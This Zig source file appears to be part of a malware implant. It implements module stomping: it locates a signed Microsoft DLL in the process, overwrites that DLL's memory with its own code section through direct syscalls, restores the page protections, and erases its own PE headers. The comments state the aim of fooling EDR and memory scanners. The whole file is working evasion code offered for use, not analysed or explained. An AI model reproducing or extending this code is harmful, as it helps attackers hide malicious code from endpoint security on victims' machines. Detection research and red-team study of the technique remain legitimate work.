// 5. Module stomping — copies our .text into a signed MS DLL so EDR sees legit code.
// Reference: https://dtsec.us/2023-11-04-ModuleStompin/
// 1. Walk PEB InMemoryOrderModuleList, match CryptoAPI/dwrite/msvcp_win (case-insensitive).
// 2. Parse our PE headers to locate .text VirtualAddress + VirtualSize.
// 3. NtProtectVirtualMemory(target, RWX) — make target DLL writable.
// 4. memcpy — copy our .text bytes into target's image range.
// 5. NtProtectVirtualMemory(target, RX) — restore so memory scanners see normal permissions.
// 6. Zero our DOS header + NT headers — can't find what you can't parse.
//    our_base comes from Go's reflective loader, not PEB — we mapped ourselves.
const std = @import("std");
const win = @import("win32.zig");
const resolve = @import("resolve.zig");
const syscall = @import("syscall.zig");
const pe = @import("pe.zig");

pub var g_evasion_relocated: bool = false;

// Core stomp flow: copies our .text into a target signed Microsoft DLL, then wipes our headers.
// our_base is the DLL base passed from the Go reflective loader (not PEB-discoverable).
// Targets are chosen from a shortlist of signed Microsoft DLLs that are always loaded in most processes.
pub fn stomp_module(our_base: ?*anyopaque) ?*anyopaque {
    const targets = [_][]const u8{ "CryptoAPI.dll", "dwrite.dll", "msvcp_win.dll" };

    if (our_base == null) return null;

    // Walk PEB to find a suitable signed Microsoft DLL target
    const peb = resolve.get_peb();
    const ldr = peb.Ldr;
    const head = @as(*resolve.LIST_ENTRY, @ptrCast(&ldr.InMemoryOrderModuleList));

    var target_base: ?*anyopaque = null;
    var target_size: usize = 0;

    var entry = head.Flink;
    while (entry != head) : (entry = entry.Flink) {
        const le: *resolve.LDR_DATA_TABLE_ENTRY = @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(@intFromPtr(entry) - @offsetOf(resolve.LDR_DATA_TABLE_ENTRY, "InMemoryOrderLinks")))));

        if (@intFromPtr(le.DllBase) == 0 or le.BaseDllName.Length == 0) continue;

        // Match against our target shortlist (CryptoAPI, dwrite, msvcp_win)
        if (target_base == null) {
            const buf = le.BaseDllName.Buffer;
            const len = le.BaseDllName.Length / 2;
            for (targets) |target| {
                if (target.len == len) {
                    var matches = true;
                    var ci: usize = 0;
                    while (ci < len) : (ci += 1) {
                        var c1 = buf[ci];
                        var c2 = target[ci];
                        if (c1 >= 'A' and c1 <= 'Z') c1 += 32;
                        if (c2 >= 'A' and c2 <= 'Z') c2 += 32;
                        if (c1 != c2) { matches = false; break; }
                    }
                    if (matches) {
                        target_base = le.DllBase;
                        target_size = le.SizeOfImage;
                        break;
                    }
                }
            }
        }

        if (target_base != null) break;
    }

    if (target_base == null) return null;

    // Parse our own PE to locate the .text section
    const own_bytes = @as([*]u8, @ptrCast(our_base.?));
    const dos = @as(*const pe.IMAGE_DOS_HEADER, @ptrCast(@alignCast(own_bytes)));
    if (dos.e_magic != 0x5A4D) return null;

    const nt = @as(*const pe.IMAGE_NT_HEADERS64, @ptrCast(@alignCast(own_bytes + @as(usize, @intCast(dos.e_lfanew)))));
    if (nt.Signature != 0x00004550) return null;

    const section_off = @as(usize, @intCast(dos.e_lfanew)) + @sizeOf(pe.IMAGE_NT_HEADERS64);
    const sections = @as([*]const pe.IMAGE_SECTION_HEADER, @ptrCast(@alignCast(own_bytes + section_off)));

    // Scan section table for .text
    var text_start: ?*anyopaque = null;
    var text_size: usize = 0;
    for (0..nt.FileHeader.NumberOfSections) |i| {
        if (sections[i].Name[0] == '.' and sections[i].Name[1] == 't' and sections[i].Name[2] == 'e' and sections[i].Name[3] == 'x' and sections[i].Name[4] == 't') {
            text_start = @as(*anyopaque, @ptrCast(own_bytes + sections[i].VirtualAddress));
            text_size = sections[i].VirtualSize;
            break;
        }
    }

    if (text_start == null or text_size == 0) return null;

    // Step 1: Make target memory RWX so we can write into it
    var target_mut: ?*anyopaque = target_base;
    var region_size: win.SIZE_T = target_size;
    var old_prot: win.ULONG = 0;
    const st = syscall.nt_protect_virtual_memory(
        syscall.nt_current_process(),
        &target_mut,
        &region_size,
        win.PAGE_EXECUTE_READWRITE,
        &old_prot,
    );
    if (!win.NT_SUCCESS(st)) return null;

    // Step 2: Copy our .text into the target DLL's memory range
    const dest = @as([*]u8, @ptrCast(target_mut orelse target_base.?));
    const src = @as([*]const u8, @ptrCast(text_start.?));
    @memcpy(dest[0..text_size], src[0..text_size]);

    // Step 3: Restore target to RX so it looks normal to memory scanners
    var restore_mut: ?*anyopaque = target_mut orelse target_base.?;
    var restore_size: win.SIZE_T = target_size;
    var new_old: win.ULONG = 0;
    _ = syscall.nt_protect_virtual_memory(
        syscall.nt_current_process(),
        &restore_mut,
        &restore_size,
        win.PAGE_EXECUTE_READ,
        &new_old,
    );

    // Step 4: Zero out our original headers so scanners can't find a rogue DLL header
    const old_bytes = @as([*]u8, @ptrCast(our_base.?));
    const e_lfanew = dos.e_lfanew;
    @memset(old_bytes[0..64], 0);
    @memset(old_bytes[@as(usize, @intCast(e_lfanew)) .. @as(usize, @intCast(e_lfanew)) + @sizeOf(pe.IMAGE_NT_HEADERS64)], 0);

    g_evasion_relocated = true;
    return our_base;
}